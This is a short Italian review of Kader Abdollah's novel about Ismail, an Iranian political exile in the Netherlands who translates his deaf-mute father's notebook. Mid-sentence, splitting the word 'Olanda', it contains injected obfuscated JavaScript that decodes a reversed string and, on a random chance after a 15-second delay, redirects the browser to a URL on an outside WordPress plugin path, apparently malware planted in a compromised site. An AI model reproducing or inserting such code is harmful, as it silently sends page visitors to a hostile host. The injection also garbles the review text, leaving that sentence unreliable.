Il romanzo di un esule

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La storia dell’Iran raccontata attraverso un romanzo: dal regime dello Scià fino alla rivoluzione islamica dell’ayatollah Khomeini. Scritto in modo semplice ma avvincente, il libro racconta la storia di Ismail, esule politico iraniano rifugiato in Ol (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anda, che un giorno riceve un pacco con dentro un quaderno scritto in caratteri incomprensibili. È la scrittura cuneiforme, l’unica forma di comunicazione nota a suo padre, riparatore di tappeti sordomuto e analfabeta, che con essa poteva esprimersi verso il mondo esterno. Ismail decide di tradurlo per riconciliarsi con il suo passato e la patria abbandonata.
La storia ha un’ispirazione autobiografica, infatti l’autore Kader Abdollah ha subito le persecuzioni dei regimi che si sono succeduti in Iran e ha trovato rifugio in Olanda. Con grande maestria Abdollah riesce a evocare la bellezza della sua terra e la nostalgia che accompagna la vita dell’esule.

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